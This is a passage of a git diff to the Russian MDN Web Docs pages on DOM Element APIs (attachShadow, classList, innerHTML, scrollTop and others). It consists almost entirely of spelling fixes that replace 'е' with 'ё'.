(see {{Bug(45566)}}):</p> +<p>Заметьте, если процесс парсинга не удастся , <code>DOMParser</code> теперь не выдаёт исключение, но вместо этого выдаёт документ ошибки (see {{Bug(45566)}}):</p> <pre class="brush:xml"><parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"> (Описание ошибки) diff --git a/files/ru/web/api/domtokenlist/replace/index.html b/files/ru/web/api/domtokenlist/replace/index.html index 3fb65e93ea..ad41a3d422 100644 --- a/files/ru/web/api/domtokenlist/replace/index.html +++ b/files/ru/web/api/domtokenlist/replace/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/DOMTokenList/replace <h3 id="Возвращает_значение">Возвращает значение</h3> -<p>Boolean, которое будет <code>true</code>, если <code><var>oldToken</var></code> был успешно заменен, или <code>false</code> в противном случае.</p> +<p>Boolean, которое будет <code>true</code>, если <code><var>oldToken</var></code> был успешно заменён, или <code>false</code> в противном случае.</p> <div class="note"> <p><strong>Примечание</strong>: В старых браузерах <code>replace()</code> возвращает void.</p> diff --git a/files/ru/web/api/element/attachshadow/index.html b/files/ru/web/api/element/attachshadow/index.html index 535f95ce1a..d2fcdbf0df 100644 --- a/files/ru/web/api/element/attachshadow/index.html +++ b/files/ru/web/api/element/attachshadow/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Element/attachShadow <h4 id="Элементы_которые_можно_добавить_в_теневой_DOM">Элементы которые можно добавить в теневой DOM</h4> -<p>Обратите внимание, что не каждый элемент можно добавить в корень теневого дерева. Некоторые типы исключены по соображениям безопасности(например {{htmlelement("a")}}), и некоторые другие. Вот список разрешенных элементов:</p> +<p>Обратите внимание, что не каждый элемент можно добавить в корень теневого дерева. Некоторые типы исключены по соображениям безопасности(например {{htmlelement("a")}}), и некоторые другие. Вот список разрешённых элементов:</p> <ul> <li>Любой пользовательский элемент с <a href="https://html.spec.whatwg.org/multipage/custom-elements.html#valid-custom-element-name">валидным именем</a></li> @@ -80,14 +80,14 @@ element.shadowRoot === null; // returns true </tr> <tr> <td>NotSupportedError</td> - <td>Вы пытаетесь прикрепить shadow DOM к HTML элементу с некорректным именем, или к запрещенному элементу. (см. выше)</td> + <td>Вы пытаетесь прикрепить shadow DOM к HTML элементу с некорректным именем, или к запрещённому элементу. (см. выше)</td> </tr> </tbody> </table> <h2 id="Примеры">Примеры</h2> -<p>Пример взят из демо компонента <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a>, так-же доступно <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">live demo</a>. Вы можете найти метод attachShadow() примерно в середине кода. Метод создает корневой элемент теневого DOM к которому потом добавляется содержимое шаблона элемента.</p> +<p>Пример взят из демо компонента <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a>, так-же доступно <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">live demo</a>. Вы можете найти метод attachShadow() примерно в середине кода. Метод создаёт корневой элемент теневого DOM к которому потом добавляется содержимое шаблона элемента.</p> <pre class="brush: js"><code>//Create a class for the element class WordCount extends HTMLParagraphElement { diff --git a/files/ru/web/api/element/blur_event/index.html b/files/ru/web/api/element/blur_event/index.html index acebebdabb..f5357eb7ae 100644 --- a/files/ru/web/api/element/blur_event/index.html +++ b/files/ru/web/api/element/blur_event/index.html @@ -26,7 +26,7 @@ original_slug: Web/Events/blur <dd style="margin: 0 0 0 120px;">Нет</dd> </dl> -<p>{{NoteStart}}Значение {{domxref("Document.activeElement")}} меняется в зависимости от браузера во время выполнения этого события ({{bug(452307)}}): IE10 устанавливает его к элементу на который будет перемещен фокус, в то время как Firefox и Chrome обычно устанавливают его к <code>body</code> документа{{NoteEnd}}</p> +<p>{{NoteStart}}Значение {{domxref("Document.activeElement")}} меняется в зависимости от браузера во время выполнения этого события ({{bug(452307)}}): IE10 устанавливает его к элементу на который будет перемещён фокус, в то время как Firefox и Chrome обычно устанавливают его к <code>body</code> документа{{NoteEnd}}</p> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/element/classlist/index.html b/files/ru/web/api/element/classlist/index.html index c96fc8427a..1e83b5f78b 100644 --- a/files/ru/web/api/element/classlist/index.html +++ b/files/ru/web/api/element/classlist/index.html @@ -41,7 +41,7 @@ translation_of: Web/API/Element/classList Если класс у элемента отсутствует - добавляет, иначе - убирает. Когда вторым параметром передано false - удаляет указанный класс, а если true - добавляет.</dd> <dd> Если вторым параметром передан undefined или переменная с typeof == 'undefined', поведение будет аналогичным передаче только первого параметра при вызове toggle.</dd> <dd><strong>contains</strong> ( String )<br> - Проверяет, есть ли данный класс у элемента (вернет true или false)</dd> + Проверяет, есть ли данный класс у элемента (вернёт true или false)</dd> </dl> <div class="note"> diff --git a/files/ru/web/api/element/clientleft/index.html b/files/ru/web/api/element/clientleft/index.html index 09395a31c0..6fb2e89c0b 100644 --- a/files/ru/web/api/element/clientleft/index.html +++ b/files/ru/web/api/element/clientleft/index.html @@ -61,8 +61,8 @@ translation_of: Web/API/Element/clientLeft <h2 id="Notes">Notes</h2> -<p><code>clientLeft</code> был впервые введен MS IE DHTML object model.</p> +<p><code>clientLeft</code> был впервые введён MS IE DHTML object model.</p> -<p>Расположение вертикального scrollbar для письма справа налево примененного для элемента будет назначаются следующим свойством <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> preference</a></p> +<p>Расположение вертикального scrollbar для письма справа налево применённого для элемента будет назначаются следующим свойством <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> preference</a></p> -<p>Когда установлены стили элемента <code>display: inline</code>, то <code>clientLeft</code> вернет <code>0</code> несмотря на границы элемента.</p> +<p>Когда установлены стили элемента <code>display: inline</code>, то <code>clientLeft</code> вернёт <code>0</code> несмотря на границы элемента.</p> diff --git a/files/ru/web/api/element/clienttop/index.html b/files/ru/web/api/element/clienttop/index.html index cf209ba985..4160e3847e 100644 --- a/files/ru/web/api/element/clienttop/index.html +++ b/files/ru/web/api/element/clienttop/index.html @@ -38,7 +38,7 @@ translation_of: Web/API/Element/clientTop <h2 id="Notes" name="Notes">Примечание</h2> -<p><code>clientTop</code> был впервые введен в MS IE DHTML object model.</p> +<p><code>clientTop</code> был впервые введён в MS IE DHTML object model.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/element/closest/index.html b/files/ru/web/api/element/closest/index.html index 84d47ca794..0d8837d8a0 100644 --- a/files/ru/web/api/element/closest/index.html +++ b/files/ru/web/api/element/closest/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/Element/closest <p>Думаю, стоит рассмотреть несколько примеров:</p> -<pre class="brush: js notranslate">var div = document.querySelector("#too"); //Это элемент от которого мы начнем поиск +<pre class="brush: js notranslate">var div = document.querySelector("#too"); //Это элемент от которого мы начнём поиск div.closest("#block"); //Результат - самый первый блок древа выше div.closest("div"); //Сам блок #too и будет результатом, так как он подходит под селектор "div" diff --git a/files/ru/web/api/element/error_event/index.html b/files/ru/web/api/element/error_event/index.html index 716ebfef1d..44804d730b 100644 --- a/files/ru/web/api/element/error_event/index.html +++ b/files/ru/web/api/element/error_event/index.html @@ -23,7 +23,7 @@ original_slug: Web/Events/error <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt> <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error">DOM L3</a></dd> <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt> - <dd style="margin: 0 0 0 120px;">{{domxref("UIEvent")}} если создается элементом пользовательского интерфейса, {{domxref("MediaRecorderErrorEvent")}} если генерируется API записи MediaStream, и {{domxref("Event")}} иначе.</dd> + <dd style="margin: 0 0 0 120px;">{{domxref("UIEvent")}} если создаётся элементом пользовательского интерфейса, {{domxref("MediaRecorderErrorEvent")}} если генерируется API записи MediaStream, и {{domxref("Event")}} иначе.</dd> <dt style="float: left; text-align: right; width: 120px;">Вплывающее</dt> <dd style="margin: 0 0 0 120px;">Нет</dd> <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt> diff --git a/files/ru/web/api/element/getboundingclientrect/index.html b/files/ru/web/api/element/getboundingclientrect/index.html index 7d154af995..a2dbe829cf 100644 --- a/files/ru/web/api/element/getboundingclientrect/index.html +++ b/files/ru/web/api/element/getboundingclientrect/index.html @@ -73,9 +73,9 @@ var rect = obj.getBoundingClientRect();</code></pre> <p>Возвращаемый <code>DOMRect</code> объект может быть модифицирован в современных браузерах. Это не так со старыми версиями, которые возвращали <code>DOMRectReadOnly</code>. У IE и Edge, не имея возможности добавить пропущенные свойства к возвращаемым ими <a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx"><code>ClientRect</code></a>, объект не позволял добавить <code>x</code> и <code>y</code>.</p> -<p>Для кроссбраузерности надежно использовать только <code>left</code>, <code>top</code>, <code>right</code>, и <code>bottom</code>.</p> +<p>Для кроссбраузерности надёжно использовать только <code>left</code>, <code>top</code>, <code>right</code>, и <code>bottom</code>.</p> -<p>Свойства у <code>DOMRect</code> не являются собственными. <code>in</code> оператор и <code>for...in</code> найдут возвращенные значение, но другие APIs, <code>Object.keys()</code>, — нет. А еще <code>Object.assign()</code> и spread оператор не копируют их.</p> +<p>Свойства у <code>DOMRect</code> не являются собственными. <code>in</code> оператор и <code>for...in</code> найдут возвращённые значение, но другие APIs, <code>Object.keys()</code>, — нет. А ещё <code>Object.assign()</code> и spread оператор не копируют их.</p> <pre><code>rect = elt.getBoundingClientRect() // emptyObj всегда {} diff --git a/files/ru/web/api/element/getelementsbyclassname/index.html b/files/ru/web/api/element/getelementsbyclassname/index.html index 08cacea20e..2b4e7674d9 100644 --- a/files/ru/web/api/element/getelementsbyclassname/index.html +++ b/files/ru/web/api/element/getelementsbyclassname/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/Element/getElementsByClassName <p><strong><code>Element.getElementsByClassName()</code></strong> метод возвращает объект {{domxref("HTMLCollection")}}, содержащий в себе все дочерние элементы, которые имеют заданные имена классов. Если вызван на объекте document, будут возвращены все элементы, содержащиеся в документе.</p> -<p>Так же, как метод {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} действует на весь документ; это вернет элементы, которые являются потомками корневого элемента, содержащие в себе указанные классы.</p> +<p>Так же, как метод {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} действует на весь документ; это вернёт элементы, которые являются потомками корневого элемента, содержащие в себе указанные классы.</p> <p>Syntax</p> @@ -38,7 +38,7 @@ translation_of: Web/API/Element/getElementsByClassName <pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre> -<p>Мы так же можем использовать все методы из {{jsxref("Array.prototype")}} на любом {{ domxref("HTMLCollection") }} путем передачи <code><var>HTMLCollection</var></code> в метод как значение <var>this</var>. Так мы найдем все {{HTMLElement("div")}} элементы, которые имеют класс test:</p> +<p>Мы так же можем использовать все методы из {{jsxref("Array.prototype")}} на любом {{ domxref("HTMLCollection") }} путём передачи <code><var>HTMLCollection</var></code> в метод как значение <var>this</var>. Так мы найдём все {{HTMLElement("div")}} элементы, которые имеют класс test:</p> <pre class="brush: js">var testElements = document.getElementsByClassName('test'); var testDivs = Array.prototype.filter.call(testElements, function(testElement){ diff --git a/files/ru/web/api/element/getelementsbytagname/index.html b/files/ru/web/api/element/getelementsbytagname/index.html index 6dd764a608..5085a050d1 100644 --- a/files/ru/web/api/element/getelementsbytagname/index.html +++ b/files/ru/web/api/element/getelementsbytagname/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Element/getElementsByTagName <ul> <li><code>elements</code> это живая коллекция {{domxref("HTMLCollection")}} найденных элементов в том порядке, в котором они были найдены в дереве. Если не найдено ни одного элемента, удовлетворяющего условиям поиска, то коллекция будет пустой.</li> - <li><code>element</code> это элемент в котором будет осуществляться поиск. Обратите внимание, что поиск будет осуществляться только в потомках этого элемента. Сам элемент не будет включен в результат поиска. </li> + <li><code>element</code> это элемент в котором будет осуществляться поиск. Обратите внимание, что поиск будет осуществляться только в потомках этого элемента. Сам элемент не будет включён в результат поиска. </li> <li><code>tagName</code> определяет имя тега для поиска. Если значением tagName будет <code>"*", то в результате будут получены все потомки элемента по которому осуществляется поиск</code>. Для совместимости с XHTML следует использовать нижний регистр в имени тега. </li> </ul> @@ -129,6 +129,6 @@ for (var i = 0; i < cells.length; i++) { </table> </div> -<p>[1] До Firefox 19 этот метод возвращал {{domxref("NodeList")}}; и был затем изменен, чтобы соответствовать спецификации.</p> +<p>[1] До Firefox 19 этот метод возвращал {{domxref("NodeList")}}; и был затем изменён, чтобы соответствовать спецификации.</p> -<p>[2] Первоначально этот метод возвращал {{domxref("NodeList")}}; и был затем изменен, чтобы соответствовать спецификации.</p> +<p>[2] Первоначально этот метод возвращал {{domxref("NodeList")}}; и был затем изменён, чтобы соответствовать спецификации.</p> diff --git a/files/ru/web/api/element/hasattribute/index.html b/files/ru/web/api/element/hasattribute/index.html index 12983eff93..de656ff27d 100644 --- a/files/ru/web/api/element/hasattribute/index.html +++ b/files/ru/web/api/element/hasattribute/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Element/hasAttribute </pre> <ul> - <li><code>Переменная result</code> хранит возвращенное значение <code>true</code> или <code>false</code>.</li> + <li><code>Переменная result</code> хранит возвращённое значение <code>true</code> или <code>false</code>.</li> <li><code>attName</code> это {{Glossary("String")}} представляющая имя атрибута.</li> </ul> diff --git a/files/ru/web/api/element/index.html b/files/ru/web/api/element/index.html index 966cf39fe2..690ad551ff 100644 --- a/files/ru/web/api/element/index.html +++ b/files/ru/web/api/element/index.html @@ -54,7 +54,7 @@ translation_of: Web/API/Element <dd>Пространство имён URI элемента или null, если это не пространство имен.</dd> <dd> <div class="note"> - <p><strong>Примечание:</strong> В Firefox версии 3.5 и ранее, HTML элементы не находятся в пространстве имен. В более поздних версиях, HTML элементы находятся в пространстве имен <code><a href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> как в деревьях HTML, так и XML. {{ gecko_minversion_inline("1.9.2") }}</p> + <p><strong>Примечание:</strong> В Firefox версии 3.5 и ранее, HTML элементы не находятся в пространстве имён. В более поздних версиях, HTML элементы находятся в пространстве имён <code><a href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> как в деревьях HTML, так и XML. {{ gecko_minversion_inline("1.9.2") }}</p> </div> </dd> </dl> @@ -119,7 +119,7 @@ translation_of: Web/API/Element <dl> <dt>{{ domxref("EventTarget.addEventListener()") }}</dt> - <dd>Регистрирует обработчик событий для определенного типа событий в элементе.</dd> + <dd>Регистрирует обработчик событий для определённого типа событий в элементе.</dd> <dt>{{ domxref("Element.closest()")}} {{experimental_inline}}</dt> <dd>Возвращает {{domxref("Element")}}, потомка этого элемента (или сам этот элемент), который является ближайшим предком элементов, выбранных селекторами, указанными в параметре.</dd> <dt>{{ domxref("Element.createShadowRoot()")}} {{experimental_inline}}</dt> @@ -135,11 +135,11 @@ translation_of: Web/API/Element <dt>{{ domxref("Element.getAttribute()") }}</dt> <dd>Извлекает значение именованного атрибута из текущего узла и возвращает его в виде{{jsxref("Object")}}.</dd> <dt>{{ domxref("Element.getAttributeNS()") }}</dt> - <dd>Извлекает значение атрибута с указанным именем и пространством имен из текущего узла и возвращает его как {{jsxref("Object")}}.</dd> + <dd>Извлекает значение атрибута с указанным именем и пространством имён из текущего узла и возвращает его как {{jsxref("Object")}}.</dd> <dt>{{ domxref("Element.getAttributeNode()") }} {{obsolete_inline}}</dt> <dd>Извлекает представление узла именованного атрибута из текущего узла и возвращает его в виде {{ domxref("Attr") }}.</dd> <dt>{{ domxref("Element.getAttributeNodeNS()") }} {{obsolete_inline}}</dt> - <dd>Извлекает представление узла атрибута с указанным именем и пространством имен из текущего узла и возвращает его в виде {{ domxref("Attr") }}.</dd> + <dd>Извлекает представление узла атрибута с указанным именем и пространством имён из текущего узла и возвращает его в виде {{ domxref("Attr") }}.</dd> <dt>{{ domxref("Element.getBoundingClientRect()") }}<code> </code>{{experimental_inline}}</dt> <dd>...</dd> <dt>{{ domxref("Element.getClientRects()") }} {{experimental_inline}} TYPE of returnvalue????</dt> @@ -153,9 +153,9 @@ translation_of: Web/API/Element <dt>{{ domxref("Element.getElementsByTagNameNS()") }}</dt> <dd>Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название тега и пространства имён совпадает с тем, что заданно в параметрах функции.</dd> <dt>{{ domxref("Element.hasAttribute()") }}</dt> - <dd>Возвращает {{jsxref("Boolean")}}, указывающее, имеет элемент определенный атрибут, или нет.</dd> + <dd>Возвращает {{jsxref("Boolean")}}, указывающее, имеет элемент определённый атрибут, или нет.</dd> <dt>{{ domxref("Element.hasAttributeNS()") }}</dt> - <dd>Возвращает {{jsxref("Boolean")}}, указывающий, имеет элемент определенный атрибут в определенном пространстве имен, или нет.</dd> + <dd>Возвращает {{jsxref("Boolean")}}, указывающий, имеет элемент определённый атрибут в определённом пространстве имён, или нет.</dd> <dt>{{ domxref("Element.insertAdjacentHTML") }} {{experimental_inline}}</dt> <dd>Анализирует текст как HTML или XML и вставляет полученные узлы в указанную позицию дерева элементов.</dd> <dt>{{ domxref("Element.matches()") }}<code> </code>{{experimental_inline}}</dt> @@ -171,7 +171,7 @@ translation_of: Web/API/Element <dt>{{ domxref("Element.removeAttribute()") }}</dt> <dd>Удаляет именованный атрибут из текущего узла.</dd> <dt>{{ domxref("Element.removeAttributeNS()") }}</dt> - <dd>Удаляет атрибут с указанным именем и пространством имен, из текущего узла.</dd> + <dd>Удаляет атрибут с указанным именем и пространством имён, из текущего узла.</dd> <dt>{{ domxref("Element.removeAttributeNode()") }} {{obsolete_inline}}</dt> <dd>Удаляет представление узла именованного атрибута из текущего узла.</dd> <dt>{{ domxref("EventTarget.removeEventListener()") }}</dt> @@ -184,15 +184,15 @@ translation_of: Web/API/Element <dl> <dt>{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}</dt> - <dd>Прокручивает страницу до тех пор, пока элемент не попадет в представление.</dd> + <dd>Прокручивает страницу до тех пор, пока элемент не попадёт в представление.</dd> <dt>{{ domxref("Element.setAttribute()") }}</dt> <dd>Устанавливает значение именованного атрибута из текущей узла.</dd> <dt>{{ domxref("Element.setAttributeNS()") }}</dt> - <dd>Устанавливает значение атрибута с определенным именем и пространством имен из текущей узла.</dd> + <dd>Устанавливает значение атрибута с определённым именем и пространством имён из текущей узла.</dd> <dt>{{ domxref("Element.setAttributeNode()") }} {{obsolete_inline}}</dt> - <dd>Задает представление узла именованного атрибута из текущего узла.</dd> + <dd>Задаёт представление узла именованного атрибута из текущего узла.</dd> <dt>{{ domxref("Element.setAttributeNodeNS()") }} {{obsolete_inline}}</dt> - <dd>Установите представление узла атрибута с указанным именем и пространством имен из текущего узла.</dd> + <dd>Установите представление узла атрибута с указанным именем и пространством имён из текущего узла.</dd> <dt>{{ domxref("Element.setCapture()") }} {{non-standard_inline}}</dt> <dd>Настройка захвата событий мыши, перенаправление всех событий мыши на этот элемент.</dd> <dt>{{domxref("Element.setPointerCapture()")}}</dt> diff --git a/files/ru/web/api/element/innerhtml/index.html b/files/ru/web/api/element/innerhtml/index.html index 2803948c8c..9920c078ae 100644 --- a/files/ru/web/api/element/innerhtml/index.html +++ b/files/ru/web/api/element/innerhtml/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Element/innerHTML <p>Свойство интерфейса {{domxref("Element")}} <strong><code>innerHTML</code></strong> устанавливает или получает HTML или XML разметку дочерних элементов.</p> -<div class="note"><strong>Примечание: </strong>Если узлы {{HTMLElement("div")}}, {{HTMLElement("span")}}, или {{HTMLElement("noembed")}} имеют дочерние текстовые узлы, содержащие символы <code>(&), (<),</code> или <code>(>)</code>, <code>innerHTML</code> вернет эти символы как &amp, &lt и &gt соответственно. Используйте {{domxref("Node.textContent")}} для получения правильной копии содержимого этих текстовых узлов. </div> +<div class="note"><strong>Примечание: </strong>Если узлы {{HTMLElement("div")}}, {{HTMLElement("span")}}, или {{HTMLElement("noembed")}} имеют дочерние текстовые узлы, содержащие символы <code>(&), (<),</code> или <code>(>)</code>, <code>innerHTML</code> вернёт эти символы как &amp, &lt и &gt соответственно. Используйте {{domxref("Node.textContent")}} для получения правильной копии содержимого этих текстовых узлов. </div> <p> Чтобы вставить HTML в документ, не меняя содержимое элемента, используйте {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.</p> @@ -43,7 +43,7 @@ translation_of: Web/API/Element/innerHTML javascript:"<pre>"+document.documentElement.innerHTML.replace(/</g,"&lt;") + "</pre>"; </pre> -<p>Это свойство было первоначально реализовано веб браузерами, затем описано WHATWG и W3C в HTML5. Старые реализации могут отличаться от новых. Для примера, когда введен текст в поле ввода <input>, IE меняет значение атрибута <input> свойства innerHTML, но браузеры Gecko не делают этого.</p> +<p>Это свойство было первоначально реализовано веб браузерами, затем описано WHATWG и W3C в HTML5. Старые реализации могут отличаться от новых. Для примера, когда введён текст в поле ввода <input>, IE меняет значение атрибута <input> свойства innerHTML, но браузеры Gecko не делают этого.</p> <h3 id="Соображения_безопасности">Соображения безопасности</h3> @@ -160,8 +160,8 @@ boxElem.addEventListener("mouseleave", logEvent);</pre> <h2 id="Смотрите_также">Смотрите также</h2> <ul> - <li><a class="external" href="http://innerdom.sourceforge.net/"><code>innerDOM</code></a> - Для тех, кто хочет придерживаться стандартов, вот один набор функций JavaScript, предлагающий сериализовать или разобрать XML так, чтобы установить содержимое элемента, определенное как строка(и) через DOM или получить содержимое элемента, полученное из DOM как строку.</li> + <li><a class="external" href="http://innerdom.sourceforge.net/"><code>innerDOM</code></a> - Для тех, кто хочет придерживаться стандартов, вот один набор функций JavaScript, предлагающий сериализовать или разобрать XML так, чтобы установить содержимое элемента, определённое как строка(и) через DOM или получить содержимое элемента, полученное из DOM как строку.</li> <li>{{domxref("Element.insertAdjacentHTML")}} - <span id="result_box" lang="ru"><span>Альтернатива для innerHTML, позволяющая добавлять новый HTML</span></span>.</li> - <li><a class="external" href="https://github.com/ndebeiss/jsxmlsaxparser">jssaxparser</a> - Более надежным (хотя и более тяжелым) решением, чем innerDOM (поддерживает парсинг с пространствами имен, однокавычками атрибутов, секциями CDATA и т.д.), является этот SAX2 парсер при использовании с его обработчиком DOM-контента. (Предлагает строку на DOM; DOM на строку <a href="https://app.assembla.com/spaces/brettz9/bize6mebSr3B31ab7jnrAJ/source/DOMToString">значительно проще</a>).</li> + <li><a class="external" href="https://github.com/ndebeiss/jsxmlsaxparser">jssaxparser</a> - Более надёжным (хотя и более тяжёлым) решением, чем innerDOM (поддерживает парсинг с пространствами имён, однокавычками атрибутов, секциями CDATA и т.д.), является этот SAX2 парсер при использовании с его обработчиком DOM-контента. (Предлагает строку на DOM; DOM на строку <a href="https://app.assembla.com/spaces/brettz9/bize6mebSr3B31ab7jnrAJ/source/DOMToString">значительно проще</a>).</li> <li>Эффективность соображений: <a class="external" href="http://www.quirksmode.org/dom/innerhtml.html">quirksmode.</a></li> </ul> diff --git a/files/ru/web/api/element/insertadjacenttext/index.html b/files/ru/web/api/element/insertadjacenttext/index.html index 81a8079b0c..2b269e1291 100644 --- a/files/ru/web/api/element/insertadjacenttext/index.html +++ b/files/ru/web/api/element/insertadjacenttext/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/Element/insertAdjacentText </ul> </dd> <dt><code>element</code></dt> - <dd>{{domxref("DOMString")}} текст, который будет помещен в заданную позицию.</dd> + <dd>{{domxref("DOMString")}} текст, который будет помещён в заданную позицию.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> diff --git a/files/ru/web/api/element/mouseenter_event/index.html b/files/ru/web/api/element/mouseenter_event/index.html index 682e4930cd..48bd4bae46 100644 --- a/files/ru/web/api/element/mouseenter_event/index.html +++ b/files/ru/web/api/element/mouseenter_event/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/Element/mouseenter_event <div style="column-width: 455px; border: 1px solid; padding: 5px; margin-bottom: 10px;"> <div style="text-align: center;"><img alt="mouseenter.png" class="default internal" src="/@api/deki/files/5908/=mouseenter.png"></div> -<span class="tlid-translation translation" lang="ru"><span title="">Одно событие </span></span> <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляется каждому элементу иерархии при их вводе.</span> <span title="">Здесь 4 события отправляются четырем элементам иерархии, когда указатель достигает текста.</span></span> +<span class="tlid-translation translation" lang="ru"><span title="">Одно событие </span></span> <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляется каждому элементу иерархии при их вводе.</span> <span title="">Здесь 4 события отправляются четырём элементам иерархии, когда указатель достигает текста.</span></span> <div style="text-align: center;"><img alt="mouseover.png" class="default internal" src="/@api/deki/files/5909/=mouseover.png"></div> <span class="tlid-translation translation" lang="ru"><span title="">Одиночное событие наведения мыши</span></span> <code>mouseover</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляется в самый глубокий элемент дерева DOM, затем оно всплывает в иерархии, пока не будет отменено обработчиком или не достигнет корня.</span></span></div> diff --git a/files/ru/web/api/element/mouseleave_event/index.html b/files/ru/web/api/element/mouseleave_event/index.html index 19b5e9dafb..6f0e633b07 100644 --- a/files/ru/web/api/element/mouseleave_event/index.html +++ b/files/ru/web/api/element/mouseleave_event/index.html @@ -8,7 +8,7 @@ translation_of: Web/API/Element/mouseleave_event <p class="summary">Событие <code>mouseleave</code> срабатывает, когда курсор манипулятора (обычно мыши) перемещается за границы элемента.</p> <p><code>mouseleave</code> <code>и</code> {{event('mouseout')}} схожи, но отличаются тем, что <code>mouseleave</code> не всплывает, а <code>mouseout</code> всплывает.<br> - Это значит, что <code>mouseleave</code> срабатывает, когда курсор выходит за границы элемента <em>и</em> всех его дочерних элементов, в то время как <code>mouseout</code> срабатывает, когда курсор покидает границы элемента <em>или</em> одного из его дочерних элементов (даже если курсор все еще находится в пределах элемента).</p> + Это значит, что <code>mouseleave</code> срабатывает, когда курсор выходит за границы элемента <em>и</em> всех его дочерних элементов, в то время как <code>mouseout</code> срабатывает, когда курсор покидает границы элемента <em>или</em> одного из его дочерних элементов (даже если курсор все ещё находится в пределах элемента).</p> <table class="standard" style="border: solid 1px;"> <tbody> diff --git a/files/ru/web/api/element/removeattribute/index.html b/files/ru/web/api/element/removeattribute/index.html index d249cb37b5..df098434f2 100644 --- a/files/ru/web/api/element/removeattribute/index.html +++ b/files/ru/web/api/element/removeattribute/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Element/removeAttribute </pre> <ul> - <li><code>attrName</code> строка, имя атрибута который должен быть удален с <em>element</em>.</li> + <li><code>attrName</code> строка, имя атрибута который должен быть удалён с <em>element</em>.</li> </ul> <h2 id="Example" name="Example">Пример</h2> diff --git a/files/ru/web/api/element/scrollheight/index.html b/files/ru/web/api/element/scrollheight/index.html index e7f6f1f4af..895c36a2a8 100644 --- a/files/ru/web/api/element/scrollheight/index.html +++ b/files/ru/web/api/element/scrollheight/index.html @@ -166,7 +166,7 @@ onload = function () { </tbody> </table> -<p><strong>В версиях Firefox до 21-й:</strong> когда контент элемента не создает вертикальную полосу прокрутки, его свойство <code style="font-size: 14px;">scrollHeight</code><span style="line-height: 1.5;"> равно значению </span><code style="font-size: 14px;">clientHeight</code><span style="line-height: 1.5;">. Это может означать либо то, что контента слишком мало, чтобы ему потребовалась полоса прокрутки, либо то, что у элемента значение CSS свойства overflow равно visible (в этом случае прокрутка отсутствует).</span></p> +<p><strong>В версиях Firefox до 21-й:</strong> когда контент элемента не создаёт вертикальную полосу прокрутки, его свойство <code style="font-size: 14px;">scrollHeight</code><span style="line-height: 1.5;"> равно значению </span><code style="font-size: 14px;">clientHeight</code><span style="line-height: 1.5;">. Это может означать либо то, что контента слишком мало, чтобы ему потребовалась полоса прокрутки, либо то, что у элемента значение CSS свойства overflow равно visible (в этом случае прокрутка отсутствует).</span></p> <h2 id="See_Also" name="See_Also">Смотрите также</h2> diff --git a/files/ru/web/api/element/scrolltop/index.html b/files/ru/web/api/element/scrolltop/index.html index 5da685b3c7..f057dc4f40 100644 --- a/files/ru/web/api/element/scrolltop/index.html +++ b/files/ru/web/api/element/scrolltop/index.html @@ -19,7 +19,7 @@ var <var> intElemScrollTop</var> = someElement.scrollTop; <var>element</var>.scrollTop = <var>intValue</var>; </pre> -<p><code>scrollTop</code> может быть любым целым числом, с определенными оговорками:</p> +<p><code>scrollTop</code> может быть любым целым числом, с определёнными оговорками:</p> <ul> <li>Если элемент не может быть прокручен (т.е. у него нет переполнения или если элемент <strong>не прокручиваем</strong>), <code>scrollTop</code> устанавливается в <code>0</code>.</li> diff --git a/files/ru/web/api/element/setattribute/index.html b/files/ru/web/api/element/setattribute/index.html index 0d61d3834e..f7e43d6d58 100644 --- a/files/ru/web/api/element/setattribute/index.html +++ b/files/ru/web/api/element/setattribute/index.html @@ -34,13 +34,13 @@ b.setAttribute("disabled", "disabled"); <h2 id="Notes" name="Notes">Примечания</h2> -<p>При вызове на элементе внутри HTML документа, setAttribute переведет имя атрибута в нижний регистр.</p> +<p>При вызове на элементе внутри HTML документа, setAttribute переведёт имя атрибута в нижний регистр.</p> <p>Если указанный атрибут уже существует, его значение изменится на новое. Если атрибута ранее не существовало, он будет создан.</p> -<p>Несмотря на то, что метод <code style="font-style: normal;"><a href="/ru/docs/DOM/element.getAttribute" title="DOM/element.getAttribute">getAttribute()</a></code> возвращает null у удаленных атрибутов, вы должны использовать <a href="/ru/docs/DOM/element.removeAttribute" style="font-family: Consolas, Monaco, 'Andale Mono', monospace;" title="DOM/element.removeAttribute">removeAttribute()</a> вместо 